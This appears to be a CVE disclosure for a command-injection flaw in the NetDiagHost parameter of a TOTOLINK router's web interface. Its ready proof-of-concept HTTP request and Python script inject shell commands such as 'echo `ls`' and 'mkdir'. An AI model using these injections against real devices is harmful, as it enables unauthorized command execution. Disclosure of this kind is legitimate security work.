Headline
CVE-2023-24139: CVE-vulns/setNetworkDiag_NetDiagHost.md at main · Double-q1015/CVE-vulns
TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagHost parameter in the setNetworkDiag function.
TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagHost parameter in the function setNetworkDiag****Description
TOTOLINK Router CA300-PoE V6.2c.884 was found to contain a command injection vulnerability in setNetworkDiag.
******Firmware information**
- Manufacturer’s address:https://www.totolink.net/
- Firmware download address : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/139/ids/36.html
Affected version
Version: V6.2c.884
Vulnerability details
POC1:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: http://192.168.0.254
Connection: keep-alive
Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
Cookie: SESSION_ID=2:1673492439:2
{"topicurl":"setting/setNetworkDiag","NetDiagMethod":"0","NetDiagHost":"www.baidu.com|expr 50 - 3;"}
POC2:
import requests
url = "http://192.168.0.254:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1672999258:2"}
data = {"topicurl" : "setDiagnosisCfg",
"ip" : "192.168.1.1||mkdir /test1111;"}
data1 = {'topicurl' : "setting/setNetworkDiag","NetDiagMethod" : "0", "NetDiagHost":"www.baidu.com|echo `ls`;"}
response = requests.post(url, cookies=cookie, json=data1)
print(response.text)
print(response)
data2 = {"topicurl":"setting/showNetworkDiag"}
response = requests.post(url, cookies=cookie, json=data2)
print(response.text)
print(response)
The function setNetworkDiag is used to set the corresponding variable
In function showNetworkDiag
step into function getDiagInfo